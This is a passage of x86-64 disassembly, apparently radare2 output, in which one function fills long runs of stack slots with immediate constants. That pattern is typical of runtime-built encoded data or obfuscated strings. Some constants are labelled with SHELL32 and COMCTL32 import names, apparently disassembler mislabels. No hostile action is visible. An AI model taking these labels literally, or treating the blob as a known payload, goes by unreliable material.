mov byte [rsp + 0x3db], PathYetAnotherMakeUniqueName
movabs rax, 0x7bf4e2ca256a0a
mov qword [rsp + 0xbfe8], rax
mov eax, 0x43e
mov word [rsp + 0x23a8], ax
movabs rax, 0x7087bc82d99c6f
mov qword [rsp + 0xbff0], rax
movabs rax, 0x73cbf3ea561320
mov qword [rsp + 0xbff8], rax
mov eax, 0xe84
mov word [rsp + 0x23ac], ax
mov eax, 0x46e
mov word [rsp + 0x23b0], ax
mov eax, 0x17d
mov word [rsp + 0x23b4], ax
mov byte [rsp + 0x3dc], 0x50
movabs rax, 0x789e7973935b95
mov qword [rsp + 0xc000], rax
movabs rax, 0x7a2371ccf33178
mov qword [rsp + 0xc008], rax
movabs rax, 0x766c7b3305d331
mov qword [rsp + 0xc010], rax
mov byte [rsp + 0x3dd], 0x3b
mov eax, 0x22f
mov word [rsp + 0x23b8], ax
movabs rax, 0x71ca46c4c4f857
mov qword [rsp + 0xc018], rax
mov dword [rsp + 0x6764], 0x31b64834
mov byte [rsp + 0x3de], reloc.COMCTL32.dll_DrawInsert
mov eax, 0x73f
mov word [rsp + 0x23bc], ax
movabs rax, 0x7d8bd0d34d0524
mov qword [rsp + 0xc020], rax
movabs rax, 0x711f1195df6f8e
mov qword [rsp + 0xc028], rax
movabs rax, 0x7cac89a9f9b8cf
mov qword [rsp + 0xc030], rax
movabs rax, 0x7c2f45641408b9
mov qword [rsp + 0xc038], rax
movabs rax, 0x79c33491755ba3
mov qword [rsp + 0xc040], rax
mov dword [rsp + 0x6768], 0x5fdf93e7
mov dword [rsp + 0x676c], 0x6f98e1d0
mov dword [rsp + 0x6770], 0x48143116
mov dword [rsp + 0x6774], 0x3c4c
movabs rax, 0x712d37122f7a79
mov qword [rsp + 0xc048], rax
mov eax, 0x628
mov word [rsp + 0x23c0], ax
mov dword [rsp + 0x6778], 0x4956
movabs rax, 0x779721ccf01e7c
mov qword [rsp + 0xc050], rax
mov dword [rsp + 0x677c], 0x58e29311
movabs rax, 0x71c7cfed4990df
mov qword [rsp + 0xc058], rax
mov eax, 0x627
mov word [rsp + 0x23c4], ax
mov dword [rsp + 0x6780], 0x79d59467
mov dword [rsp + 0x6784], 0x968c387
movabs rax, 0x7d8adb11880adf
mov qword [rsp + 0xc060], rax
movabs rax, 0x75ccc33ad737ce
mov qword [rsp + 0xc068], rax
mov eax, 0xeaa
mov word [rsp + 0x23c8], ax
movabs rax, 0x7c5e91ba7ae120
mov qword [rsp + 0xc070], rax
mov eax, 0x45d
mov word [rsp + 0x23cc], ax
mov byte [rsp + 0x3df], SHDoDragDrop
mov eax, 0x53b
mov word [rsp + 0x23d0], ax
mov byte [rsp + 0x3e0], 0x43
mov byte [rsp + 0x3e1], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x724909857fba0e
mov qword [rsp + 0xc078], rax
movabs rax, 0x7ab3e327bafe7c
mov qword [rsp + 0xc080], rax
mov eax, 0x577
mov word [rsp + 0x23d4], ax
movabs rax, 0x7b6edbfa379610
mov qword [rsp + 0xc088], rax
movabs rax, 0x733263e717f1d5
mov qword [rsp + 0xc090], rax
mov eax, 0x331
mov word [rsp + 0x23d8], ax
movabs rax, 0x718681071f359c
mov qword [rsp + 0xc098], rax
mov byte [rsp + 0x3e2], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x6788], 0x453
mov eax, 0x70f
mov word [rsp + 0x23dc], ax
mov dword [rsp + 0x678c], 0xde60
movabs rax, 0x74cc77964cd51f
mov qword [rsp + 0xc0a0], rax
mov eax, 0xca5
mov word [rsp + 0x23e0], ax
mov byte [rsp + 0x3e3], 1
mov byte [rsp + 0x3e4], 0x23
movabs rax, 0x79ed2fbb1e8135
mov qword [rsp + 0xc0a8], rax
mov eax, 0x2d1
mov word [rsp + 0x23e4], ax
mov byte [rsp + 0x3e5], ILIsParent
mov byte [rsp + 0x3e6], SHGetNewLinkInfoW
mov eax, 0x67a
mov word [rsp + 0x23e8], ax
movabs rax, 0x78308904646603
mov qword [rsp + 0xc0b0], rax
mov byte [rsp + 0x3e7], ILIsParent
mov eax, 0x68e
mov word [rsp + 0x23ec], ax
mov dword [rsp + 0x6790], 0x370a
mov eax, 0x71a
mov word [rsp + 0x23f0], ax
mov eax, 0xb1a
mov word [rsp + 0x23f4], ax
mov eax, 0x3e2
mov word [rsp + 0x23f8], ax
mov eax, 0xc35
mov word [rsp + 0x23fc], ax
movabs rax, 0x73390fa54bca37
mov qword [rsp + 0xc0b8], rax
mov eax, 0xe1b
mov word [rsp + 0x2400], ax
mov byte [rsp + 0x3e8], PathMakeUniqueName
mov eax, 0x656
mov word [rsp + 0x2404], ax
mov eax, 0x2dc
mov word [rsp + 0x2408], ax
mov byte [rsp + 0x3e9], 0x56
mov byte [rsp + 0x3ea], 0x44
mov eax, 0x86f
mov word [rsp + 0x240c], ax
mov dword [rsp + 0x6794], 0x1a98
mov dword [rsp + 0x6798], 0x5aae731e
mov byte [rsp + 0x3eb], 0x60
mov byte [rsp + 0x3ec], 0xa6
movabs rax, 0x74eee93b276bec
mov qword [rsp + 0xc0c0], rax
mov dword [rsp + 0x679c], 0xfa8
mov eax, 0x741
mov word [rsp + 0x2410], ax
mov byte [rsp + 0x3ed], 0x71
movabs rax, 0x79be574b213d07
mov qword [rsp + 0xc0c8], rax
movabs rax, 0x73bc5013f0ac7f
mov qword [rsp + 0xc0d0], rax
mov dword [rsp + 0x67a0], 0x2d55
mov eax, 0x6da
mov word [rsp + 0x2414], ax
movabs rax, 0x769b610aff7f7a
mov qword [rsp + 0xc0d8], rax
movabs rax, 0x7e167f203f7183
mov qword [rsp + 0xc0e0], rax
mov eax, 0x85
mov word [rsp + 0x2418], ax
mov byte [rsp + 0x3ee], 0xd6
mov byte [rsp + 0x3ef], 0x5a
movabs rax, 0x79890887325b8d
mov qword [rsp + 0xc0e8], rax
movabs rax, 0x773b6f5c07c734
mov qword [rsp + 0xc0f0], rax
movabs rax, 0x71094de017e455
mov qword [rsp + 0xc0f8], rax
mov dword [rsp + 0x67a4], 0x509e006a
mov byte [rsp + 0x3f0], 0x6d
movabs rax, 0x7e025cfe289577
mov qword [rsp + 0xc100], rax
mov byte [rsp + 0x3f1], 0x72
mov byte [rsp + 0x3f2], 0x18
mov byte [rsp + 0x3f3], 0x3d
mov eax, 0xb35
mov word [rsp + 0x241c], ax
mov dword [rsp + 0x67a8], 0x796618f7
mov eax, 0x5a5
mov word [rsp + 0x2420], ax
mov dword [rsp + 0x67ac], 0x3389c7d6
mov eax, 0x3b1
mov word [rsp + 0x2424], ax
movabs rax, 0x71f66e1a25a594
mov qword [rsp + 0xc108], rax
mov eax, 0xcd
mov word [rsp + 0x2428], ax
mov byte [rsp + 0x3f4], 0x72
mov byte [rsp + 0x3f5], 0xb
movabs rax, 0x71e4c16d83077e
mov qword [rsp + 0xc110], rax
mov dword [rsp + 0x67b0], 0xc279
mov byte [rsp + 0x3f6], 0x72
mov dword [rsp + 0x67b4], 0xfe38
movabs rax, 0x7b69049c8b3d74
mov qword [rsp + 0xc118], rax
mov byte [rsp + 0x3f7], 0x10
mov eax, 0xd37
mov word [rsp + 0x242c], ax
mov byte [rsp + 0x3f8], 0x7e
mov eax, 0x76
mov word [rsp + 0x2430], ax
mov eax, 0x372
mov word [rsp + 0x2434], ax
mov eax, 0xa28
mov word [rsp + 0x2438], ax
movabs rax, 0x795eb300eda96b
mov qword [rsp + 0xc120], rax
mov dword [rsp + 0x67b8], 0x5fb4
movabs rax, 0x70e4a0a6f11c21
mov qword [rsp + 0xc128], rax
mov eax, 0x456
mov word [rsp + 0x243c], ax
movabs rax, 0x7e22e09d4dc2e4
mov qword [rsp + 0xc130], rax
mov eax, 0x118
mov word [rsp + 0x2440], ax
movabs rax, 0x70e034663919cf
mov qword [rsp + 0xc138], rax
mov dword [rsp + 0x67bc], 0x317ed6d6
movabs rax, 0x7230a1f18faebd
mov qword [rsp + 0xc140], rax
movabs rax, 0x7abd34ab6412e4
mov qword [rsp + 0xc148], rax
mov byte [rsp + 0x3f9], 1
mov dword [rsp + 0x67c0], 0x1abcd3e4
mov eax, 0xe6a
mov word [rsp + 0x2444], ax
movabs rax, 0x764f18d1084950
mov qword [rsp + 0xc150], rax
movabs rax, 0x722e6333c928b7
mov qword [rsp + 0xc158], rax
mov byte [rsp + 0x3fa], 0x28
mov eax, 0x93c
mov word [rsp + 0x2448], ax
mov byte [rsp + 0x3fb], 0xb2
movabs rax, 0x7eccc87fd6075c
mov qword [rsp + 0xc160], rax
mov dword [rsp + 0x67c4], 0x7525
movabs rax, 0x73de127f52d43d
mov qword [rsp + 0xc168], rax
mov eax, 0xada
mov word [rsp + 0x244c], ax
mov eax, 0x7d2
mov word [rsp + 0x2450], ax
mov byte [rsp + 0x3fc], 0x7c
movabs rax, 0x7063ae2c5c8ec7
mov qword [rsp + 0xc170], rax
movabs rax, 0x776c0e5803fdb9
mov qword [rsp + 0xc178], rax
mov dword [rsp + 0x67c8], 0x4730
mov byte [rsp + 0x3fd], 0x9d
mov eax, 0x3d8
mov word [rsp + 0x2454], ax
movabs rax, 0x7a7185e6ce88ac
mov qword [rsp + 0xc180], rax
mov eax, 0x23a
mov word [rsp + 0x2458], ax
movabs rax, 0x7e9ff38f5e8e5d
mov qword [rsp + 0xc188], rax
mov byte [rsp + 0x3fe], 0x40
mov eax, 0x166
mov word [rsp + 0x245c], ax
mov dword [rsp + 0x67cc], 0xe8aa
mov byte [rsp + 0x3ff], 0xdd
mov dword [rsp + 0x67d0], 0x9808
movabs rax, 0x7c22622a20e36e
mov qword [rsp + 0xc190], rax
mov eax, reloc.SHELL32.dll_ILIsEqual
mov word [rsp + 0x2460], ax
movabs rax, 0x737505e4c9aa96
mov qword [rsp + 0xc198], rax
mov dword [rsp + 0x67d4], 0xf05f
mov byte [rsp + 0x400], 0x56
mov eax, 0x37c
mov word [rsp + 0x2464], ax
movabs rax, 0x72d5d40d62029c
mov qword [rsp + 0xc1a0], rax
movabs rax, 0x7a8c63ef906d66
mov qword [rsp + 0xc1a8], rax
mov dword [rsp + 0x67d8], 0x3aed
mov dword [rsp + 0x67dc], 0x490bbe6d
mov eax, 0x6f5
mov word [rsp + 0x2468], ax
mov dword [rsp + 0x67e0], 0x4d1f
mov eax, 0x26e
mov word [rsp + 0x246c], ax
mov eax, 0x467
mov word [rsp + 0x2470], ax
mov eax, 0xd5a
mov word [rsp + 0x2474], ax
movabs rax, 0x7cb3e7c4cb721c
mov qword [rsp + 0xc1b0], rax
mov eax, 0xdd5
mov word [rsp + 0x2478], ax
movabs rax, 0x70e99b6f6ba934
mov qword [rsp + 0xc1b8], rax
mov eax, 0x195
mov word [rsp + 0x247c], ax
movabs rax, 0x76029956fd8bd6
mov qword [rsp + 0xc1c0], rax
mov eax, 0xa3d
mov word [rsp + 0x2480], ax
mov dword [rsp + 0x67e4], 0xce39
movabs rax, 0x7ad94aa37c3b17
mov qword [rsp + 0xc1c8], rax
mov dword [rsp + 0x67e8], 0x6179
movabs rax, 0x747ac3c3dd7d11
mov qword [rsp + 0xc1d0], rax
movabs rax, 0x71f61224c94adb
mov qword [rsp + 0xc1d8], rax
movabs rax, 0x70e6cb02f43338
mov qword [rsp + 0xc1e0], rax
mov byte [rsp + 0x401], 0x36
movabs rax, 0x732bb23af53f95
mov qword [rsp + 0xc1e8], rax
mov dword [rsp + 0x67ec], 0x34df276e
movabs rax, 0x77d1e0d44432f4
mov qword [rsp + 0xc1f0], rax
mov byte [rsp + 0x402], 0xe8
movabs rax, 0x72ff21fd5ac975
mov qword [rsp + 0xc1f8], rax
mov dword [rsp + 0x67f0], 0xbe9
mov eax, 0x4d
mov word [rsp + 0x2484], ax
mov dword [rsp + 0x67f4], 0x5a1e656d
mov dword [rsp + 0x67f8], 0xc6e4
mov eax, 0xea0
mov word [rsp + 0x2488], ax
mov eax, 0xe9a
mov word [rsp + 0x248c], ax
mov eax, 0x1e6
mov word [rsp + 0x2490], ax
mov eax, 0xa9c
mov word [rsp + 0x2494], ax
mov eax, 0x75f
mov word [rsp + 0x2498], ax
mov byte [rsp + 0x403], 0x46
mov byte [rsp + 0x404], 0x29
movabs rax, 0x72e8ae5858ad32
mov qword [rsp + 0xc200], rax
movabs rax, 0x76d130de5f0cf1
mov qword [rsp + 0xc208], rax
mov eax, 0xae2
mov word [rsp + 0x249c], ax
mov dword [rsp + 0x67fc], 0x42e757b9
mov dword [rsp + 0x6800], 0x9a0
mov byte [rsp + 0x405], 0xd
movabs rax, 0x7220ffbece35ac
mov qword [rsp + 0xc210], rax
mov eax, 0x623
mov word [rsp + 0x24a0], ax
mov dword [rsp + 0x6804], 0x6e7b
mov dword [rsp + 0x6808], 0xe8a0
mov byte [rsp + 0x406], 0x6d
movabs rax, 0x7bac685a34315f
mov qword [rsp + 0xc218], rax
mov eax, 0x8fe
mov word [rsp + 0x24a4], ax
mov dword [rsp + 0x680c], 0x7c231328
movabs rax, 0x73f2b87aafe99f
mov qword [rsp + 0xc220], rax
mov eax, 0x24c
mov word [rsp + 0x24a8], ax
mov dword [rsp + 0x6810], 0x7ce3
mov dword [rsp + 0x6814], 0x4da368cb
movabs rax, 0x79908988179795
mov qword [rsp + 0xc228], rax
mov eax, 0xa9
mov word [rsp + 0x24ac], ax
movabs rax, 0x716b7551b3fde8
mov qword [rsp + 0xc230], rax
movabs rax, 0x7099655b89c0c4
mov qword [rsp + 0xc238], rax
mov byte [rsp + 0x407], 0xa6
mov byte [rsp + 0x408], 0x77
movabs rax, 0x7ef056d9e88847
mov qword [rsp + 0xc240], rax
mov eax, 0x346
mov word [rsp + 0x24b0], ax
mov eax, 0x9de
mov word [rsp + 0x24b4], ax
mov dword [rsp + 0x6818], 0x7a7a5a34
mov byte [rsp + 0x409], 0x3b
mov byte [rsp + 0x40a], 0x15
movabs rax, 0x7a00f82db62611
mov qword [rsp + 0xc248], rax
mov byte [rsp + 0x40b], 0x78
movabs rax, 0x7466d4366d7071
mov qword [rsp + 0xc250], rax
mov eax, 0x7db
mov word [rsp + 0x24b8], ax
mov eax, 0x1ed
mov word [rsp + 0x24bc], ax
mov byte [rsp + 0x40c], 0x1c
movabs rax, 0x718aa7e8af8ba0
mov qword [rsp + 0xc258], rax
mov dword [rsp + 0x681c], 0xf85a
movabs rax, 0x74847a7f23d413
mov qword [rsp + 0xc260], rax
movabs rax, 0x7605a354f5164a
mov qword [rsp + 0xc268], rax
mov byte [rsp + 0x40d], 0x41
movabs rax, 0x730b8d4111f28e
mov qword [rsp + 0xc270], rax
mov eax, 0xb5d
mov word [rsp + 0x24c0], ax
mov byte [rsp + 0x40e], 0x33
mov dword [rsp + 0x6820], 0xe4cd
mov eax, 0x694
mov word [rsp + 0x24c4], ax
mov eax, 0x6d1
mov word [rsp + 0x24c8], ax
mov eax, 0x4df
mov word [rsp + 0x24cc], ax
mov eax, 0x175
mov word [rsp + 0x24d0], ax
mov dword [rsp + 0x6824], 0x68c7
mov eax, 0xe2d
mov word [rsp + 0x24d4], ax
movabs rax, 0x74ce3dffe3f998
mov qword [rsp + 0xc278], rax
mov eax, 0x25b
mov word [rsp + 0x24d8], ax
mov eax, 0xedc
mov word [rsp + 0x24dc], ax
mov dword [rsp + 0x6828], 0xaa04
mov byte [rsp + 0x40f], 0xf9
movabs rax, 0x77a02ad0f190ed
mov qword [rsp + 0xc280], rax
mov eax, 0x70f
mov word [rsp + 0x24e0], ax
movabs rax, 0x7682a07f56cd68
mov qword [rsp + 0xc288], rax
mov byte [rsp + 0x410], 0x7e
mov eax, 0x6ab
mov word [rsp + 0x24e4], ax
mov byte [rsp + 0x411], 0x2a
mov byte [rsp + 0x412], 0x1f
mov eax, 0x34
mov word [rsp + 0x24e8], ax
mov eax, 0x630
mov word [rsp + 0x24ec], ax
movabs rax, 0x73fe6f0379b00d
mov qword [rsp + 0xc290], rax
movabs rax, 0x7c9db4211eea74
mov qword [rsp + 0xc298], rax
mov dword [rsp + 0x682c], 0x970e
mov dword [rsp + 0x6830], 0xc700
mov dword [rsp + 0x6834], 0xe57
mov byte [rsp + 0x413], 0x84
movabs rax, 0x7530e4dc33937a
mov qword [rsp + 0xc2a0], rax
movabs rax, 0x7862ea77ac531e
mov qword [rsp + 0xc2a8], rax
mov dword [rsp + 0x6838], 0xe47d
mov dword [rsp + 0x683c], 0x9b55
mov eax, 0xf97
mov word [rsp + 0x24f0], ax
mov dword [rsp + 0x6840], 0xc67b
movabs rax, 0x73e5d7943c3399
mov qword [rsp + 0xc2b0], rax
movabs rax, 0x76e901ba5873f7
mov qword [rsp + 0xc2b8], rax
mov byte [rsp + 0x414], 1
mov byte [rsp + 0x415], 0
mov dword [rsp + 0x6844], 0xe8c1
movabs rax, 0x72362be2db562e
mov qword [rsp + 0xc2c0], rax
mov dword [rsp + 0x6848], 0xec2b
movabs rax, 0x709da69ed154b9
mov qword [rsp + 0xc2c8], rax
mov dword [rsp + 0x684c], 0x77f8
movabs rax, 0x710085a2be2264
mov qword [rsp + 0xc2d0], rax
mov eax, 0x276
mov word [rsp + 0x24f4], ax
movabs rax, 0x70a2f41790f4ab
mov qword [rsp + 0xc2d8], rax
mov eax, 0x41b
mov word [rsp + 0x24f8], ax
mov byte [rsp + 0x416], 0x7c
mov eax, 0x7b5
mov word [rsp + 0x24fc], ax
mov dword [rsp + 0x6850], 0x639df33c
movabs rax, 0x7afeeaeea2067b
mov qword [rsp + 0xc2e0], rax
mov eax, 0x65f
mov word [rsp + 0x2500], ax
mov eax, 0xe05
mov word [rsp + 0x2504], ax
mov dword [rsp + 0x6854], 0x60f6e70c
mov byte [rsp + 0x417], 0xdc
mov dword [rsp + 0x6858], 0xac94
mov eax, 0x6ad
mov word [rsp + 0x2508], ax
mov eax, 0x3f7
mov word [rsp + 0x250c], ax
mov byte [rsp + 0x418], 0x60
movabs rax, 0x78461a0c684a2d
mov qword [rsp + 0xc2e8], rax
mov dword [rsp + 0x685c], 0x3b63
mov dword [rsp + 0x6860], 0x15c
mov byte [rsp + 0x419], 0x57
movabs rax, 0x7270bbd70375c3
mov qword [rsp + 0xc2f0], rax
movabs rax, 0x72a8b2a498647f
mov qword [rsp + 0xc2f8], rax
mov eax, 0xc55
mov word [rsp + 0x2510], ax
mov byte [rsp + 0x41a], 0xa
mov eax, 0x150
mov word [rsp + 0x2514], ax
mov eax, 0x10f
mov word [rsp + 0x2518], ax
mov eax, 0xb9d
mov word [rsp + 0x251c], ax
mov eax, 0x85
mov word [rsp + 0x2520], ax
movabs rax, 0x770fa6aed5021b
mov qword [rsp + 0xc300], rax
mov eax, 0x385
mov word [rsp + 0x2524], ax
movabs rax, 0x7c644e1d5f7840
mov qword [rsp + 0xc308], rax
mov eax, 0x1c2
mov word [rsp + 0x2528], ax
mov eax, 0x500
mov word [rsp + 0x252c], ax
mov byte [rsp + 0x41b], 0x6b
mov byte [rsp + 0x41c], 0x30
movabs rax, 0x732af140b93b5f
mov qword [rsp + 0xc310], rax
mov byte [rsp + 0x41d], 0x55
mov eax, 0x3bd
mov word [rsp + 0x2530], ax
mov dword [rsp + 0x6864], 0x4dca
movabs rax, 0x7b12d276e2dbdf
mov qword [rsp + 0xc318], rax
movabs rax, 0x73953900801095
mov qword [rsp + 0xc320], rax
mov byte [rsp + 0x41e], 0
movabs rax, 0x7291853d0b207a
mov qword [rsp + 0xc328], rax
mov byte [rsp + 0x41f], 0x35
movabs rax, 0x7a1dbfabe3a582
mov qword [rsp + 0xc330], rax
movabs rax, 0x7e7218054a8baf
mov qword [rsp + 0xc338], rax
mov byte [rsp + 0x420], 0xf5
mov eax, 0x121
mov word [rsp + 0x2534], ax
mov eax, 0x8d
mov word [rsp + 0x2538], ax
mov dword [rsp + 0x6868], 0x59b3
movabs rax, 0x7173603a009a80
mov qword [rsp + 0xc340], rax
movabs rax, 0x77af349d12c529
mov qword [rsp + 0xc348], rax
mov eax, 0x6fa
mov word [rsp + 0x253c], ax
mov eax, 0x3fe
mov word [rsp + 0x2540], ax
mov dword [rsp + 0x686c], 0x1dd89375
mov byte [rsp + 0x421], 0x23
mov eax, 0x7f8
mov word [rsp + 0x2544], ax
mov byte [rsp + 0x422], 0x69
mov eax, LBItemFromPt
mov word [rsp + 0x2548], ax
mov eax, 0x21
mov word [rsp + 0x254c], ax
movabs rax, 0x7be0e22e0e0648
mov qword [rsp + 0xc350], rax
mov byte [rsp + 0x423], 0x61
mov byte [rsp + 0x424], 0x8f
mov eax, 0x5e3
mov word [rsp + 0x2550], ax
movabs rax, 0x737a5e5045b7f3
mov qword [rsp + 0xc358], rax
mov eax, 0x3e7
mov word [rsp + 0x2554], ax
mov dword [rsp + 0x6870], 0xb3fb
movabs rax, 0x72b093f61adc08
mov qword [rsp + 0xc360], rax
movabs rax, 0x72ccc004636e7c
mov qword [rsp + 0xc368], rax
mov byte [rsp + 0x425], 0x1e
movabs rax, 0x77a1544859ab8e
mov qword [rsp + 0xc370], rax
movabs rax, 0x70e01a43bca1fe
mov qword [rsp + 0xc378], rax
movabs rax, 0x7d4172cd4aba0d
mov qword [rsp + 0xc380], rax
movabs rax, 0x71d3bebad92c77
mov qword [rsp + 0xc388], rax
mov dword [rsp + 0x6874], 0xf778db5
mov byte [rsp + 0x426], 0x46
movabs rax, 0x7cb11204ca1f12
mov qword [rsp + 0xc390], rax
movabs rax, 0x7b2681768ee9f9
mov qword [rsp + 0xc398], rax
mov eax, 0xa95
mov word [rsp + 0x2558], ax
mov dword [rsp + 0x6878], 0x6795
mov dword [rsp + 0x687c], 0x3728
mov dword [rsp + 0x6880], 0xabca
mov dword [rsp + 0x6884], 0x5554
movabs rax, 0x7aa1a67380cb2a
mov qword [rsp + 0xc3a0], rax
movabs rax, 0x745144f3185d54
mov qword [rsp + 0xc3a8], rax
mov eax, 0x2b9
mov word [rsp + 0x255c], ax
mov eax, 0x3da
mov word [rsp + 0x2560], ax
movabs rax, 0x7c1fb69b1e15e1
mov qword [rsp + 0xc3b0], rax
mov byte [rsp + 0x427], 0xdc
mov eax, 0x78c
mov word [rsp + 0x2564], ax
mov eax, 0x7e6
mov word [rsp + 0x2568], ax
mov byte [rsp + 0x428], 0x21
mov eax, 0x653
mov word [rsp + 0x256c], ax
mov eax, 0x449
mov word [rsp + 0x2570], ax
mov dword [rsp + 0x6888], 0x6624
mov eax, 0x293
mov word [rsp + 0x2574], ax
mov dword [rsp + 0x688c], 0x36e4
movabs rax, 0x7d7d887e4899d9
mov qword [rsp + 0xc3b8], rax
mov byte [rsp + 0x429], 0x34
movabs rax, 0x76d61f92c45fdf
mov qword [rsp + 0xc3c0], rax
mov dword [rsp + 0x6890], 0xc25d
movabs rax, 0x74b83913f1fc7c
mov qword [rsp + 0xc3c8], rax
mov dword [rsp + 0x6894], 0x51d8
mov byte [rsp + 0x42a], 0x3a
mov dword [rsp + 0x6898], 0x11e669f4
mov eax, 0xe14
mov word [rsp + 0x2578], ax
mov byte [rsp + 0x42b], 0x38
movabs rax, 0x7ec1c99bfd26bb
mov qword [rsp + 0xc3d0], rax
mov eax, 0x1c1
mov word [rsp + 0x257c], ax
movabs rax, 0x7db6b73b748b4b
mov qword [rsp + 0xc3d8], rax
movabs rax, 0x70231dcbdf159b
mov qword [rsp + 0xc3e0], rax
mov dword [rsp + 0x689c], 0xb445
mov eax, 0xc29
mov word [rsp + 0x2580], ax
mov byte [rsp + 0x42c], 1
mov dword [rsp + 0x68a0], 0x6d5
movabs rax, 0x75890f6f188539
mov qword [rsp + 0xc3e8], rax
movabs rax, 0x703dfa1d1f2428
mov qword [rsp + 0xc3f0], rax
mov byte [rsp + 0x42d], 0x7a
mov eax, 0xdfc
mov word [rsp + 0x2584], ax
movabs rax, 0x7794f065893e4a
mov qword [rsp + 0xc3f8], rax
mov dword [rsp + 0x68a4], 0x2254
movabs rax, 0x7c55892dffdd3e
mov qword [rsp + 0xc400], rax
movabs rax, 0x759f46675808ac
mov qword [rsp + 0xc408], rax
movabs rax, 0x7042d246ffd1db
mov qword [rsp + 0xc410], rax
mov byte [rsp + 0x42e], 0x7c
mov dword [rsp + 0x68a8], 0x83ca
movabs rax, 0x7032315845029d
mov qword [rsp + 0xc418], rax
mov eax, 0x34f
mov word [rsp + 0x2588], ax
movabs rax, 0x7232a3313af784
mov qword [rsp + 0xc420], rax
mov byte [rsp + 0x42f], 0x2e
mov byte [rsp + 0x430], 0x6a
mov byte [rsp + 0x431], 0x27
mov eax, 0x913
mov word [rsp + 0x258c], ax
mov eax, reloc.SHELL32.dll_SHGetNewLinkInfoW
mov word [rsp + 0x2590], ax
movabs rax, 0x70166e27b18d8c
mov qword [rsp + 0xc428], rax
mov eax, 0xa5c
mov word [rsp + 0x2594], ax
mov eax, 0x521
mov word [rsp + 0x2598], ax
mov eax, 0x7d3
mov word [rsp + 0x259c], ax
movabs rax, 0x79bbc3eae2396e
mov qword [rsp + 0xc430], rax
mov eax, 0x7cd
mov word [rsp + 0x25a0], ax
movabs rax, 0x7794a2300dda96
mov qword [rsp + 0xc438], rax
mov byte [rsp + 0x432], 0xde
mov dword [rsp + 0x68ac], 0xb25d
mov dword [rsp + 0x68b0], 0xb937
movabs rax, 0x7d7805749e0aa5
mov qword [rsp + 0xc440], rax
mov eax, 0x8d
mov word [rsp + 0x25a4], ax
mov byte [rsp + 0x433], 0x5b
mov eax, 0x254
mov word [rsp + 0x25a8], ax
mov eax, 0x404
mov word [rsp + 0x25ac], ax
mov byte [rsp + 0x434], 0x6c
movabs rax, 0x7e0900e05e67fb
mov qword [rsp + 0xc448], rax
movabs rax, 0x7b2bd1a7ae6af9
mov qword [rsp + 0xc450], rax
movabs rax, 0x76406d11d3d7d0
mov qword [rsp + 0xc458], rax
mov dword [rsp + 0x68b4], 0xbe60
movabs rax, 0x77a87e2b1c65ac
mov qword [rsp + 0xc460], rax
mov byte [rsp + 0x435], 0x24
mov dword [rsp + 0x68b8], 0x41a3c689
movabs rax, 0x7dda18b5f26a50
mov qword [rsp + 0xc468], rax
movabs rax, 0x73518c2cd53455
mov qword [rsp + 0xc470], rax
mov byte [rsp + 0x436], 0x75
mov dword [rsp + 0x68bc], 0xb7bd
mov eax, 0xc96
mov word [rsp + 0x25b0], ax
mov dword [rsp + 0x68c0], 0x465d08c7
movabs rax, 0x748f630b6dd906
mov qword [rsp + 0xc478], rax
movabs rax, 0x711c3cb5ee6d73
mov qword [rsp + 0xc480], rax
mov byte [rsp + 0x437], 0xb5
mov eax, 0x2d9
mov word [rsp + 0x25b4], ax
mov byte [rsp + 0x438], 0x11
mov eax, 0x4c8
mov word [rsp + 0x25b8], ax
mov dword [rsp + 0x68c4], 0x1e91
mov eax, 0x892
mov word [rsp + 0x25bc], ax
mov byte [rsp + 0x439], 5
movabs rax, 0x71d8909c1033ba
mov qword [rsp + 0xc488], rax
mov eax, 0x9e1
mov word [rsp + 0x25c0], ax
movabs rax, 0x70cc8586891c57
mov qword [rsp + 0xc490], rax
mov eax, 0x16a
mov word [rsp + 0x25c4], ax
mov eax, 0x8d8
mov word [rsp + 0x25c8], ax
mov byte [rsp + 0x43a], 0xe1
movabs rax, 0x7c9ec2a065e6c3
mov qword [rsp + 0xc498], rax
mov dword [rsp + 0x68c8], 0x69e8
mov eax, 0x9a9
mov word [rsp + 0x25cc], ax
movabs rax, 0x74ea19933a91e2
mov qword [rsp + 0xc4a0], rax
mov byte [rsp + 0x43b], 0xfe
movabs rax, 0x7ac846e1d690fa
mov qword [rsp + 0xc4a8], rax
mov eax, 0xf7f
mov word [rsp + 0x25d0], ax
mov byte [rsp + 0x43c], 0x44
mov byte [rsp + 0x43d], 0x17
mov dword [rsp + 0x68cc], 0x3916
mov dword [rsp + 0x68d0], 0xad34
mov byte [rsp + 0x43e], 0x71
mov eax, 0x172
mov word [rsp + 0x25d4], ax
mov eax, 0x8e1
mov word [rsp + 0x25d8], ax
mov byte [rsp + 0x43f], 0x66
movabs rax, 0x765b78a6234668
mov qword [rsp + 0xc4b0], rax
mov byte [rsp + 0x440], 0x21
mov byte [rsp + 0x441], 3
movabs rax, 0x7c3b375d6f06d6
mov qword [rsp + 0xc4b8], rax
movabs rax, 0x7ee37cc550b54b
mov qword [rsp + 0xc4c0], rax
movabs rax, 0x7d67d2d0618b79
mov qword [rsp + 0xc4c8], rax
mov byte [rsp + 0x442], 0x70
mov eax, 0x140
mov word [rsp + 0x25dc], ax
mov eax, SetWindowSubclass
mov word [rsp + 0x25e0], ax
mov eax, 0x75
mov word [rsp + 0x25e4], ax
mov eax, 0x71c
mov word [rsp + 0x25e8], ax
mov dword [rsp + 0x68d4], 0x2d73dbd9
mov dword [rsp + 0x68d8], 0xfea0
mov eax, 0x562
mov word [rsp + 0x25ec], ax
mov byte [rsp + 0x443], 0xe7
movabs rax, 0x7c58b7ba1263d6
mov qword [rsp + 0xc4d0], rax
mov dword [rsp + 0x68dc], 0xc81a
mov byte [rsp + 0x444], 0x3c
mov dword [rsp + 0x68e0], 0xf7ef
mov eax, 0x6a8
mov word [rsp + 0x25f0], ax
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x25f4], ax
movabs rax, 0x7bfc56013645a9
mov qword [rsp + 0xc4d8], rax
mov byte [rsp + 0x445], 0x73
movabs rax, 0x7e28abfbfca865
mov qword [rsp + 0xc4e0], rax
mov eax, 0x4e9
mov word [rsp + 0x25f8], ax
movabs rax, 0x7e7a3054bf3aae
mov qword [rsp + 0xc4e8], rax
movabs rax, 0x7aec82a6aafa49
mov qword [rsp + 0xc4f0], rax
movabs rax, 0x70e507c89acb64
mov qword [rsp + 0xc4f8], rax
mov byte [rsp + 0x446], 0xc4
movabs rax, 0x73954c8e4eaa43
mov qword [rsp + 0xc500], rax
mov byte [rsp + 0x447], 0xa8
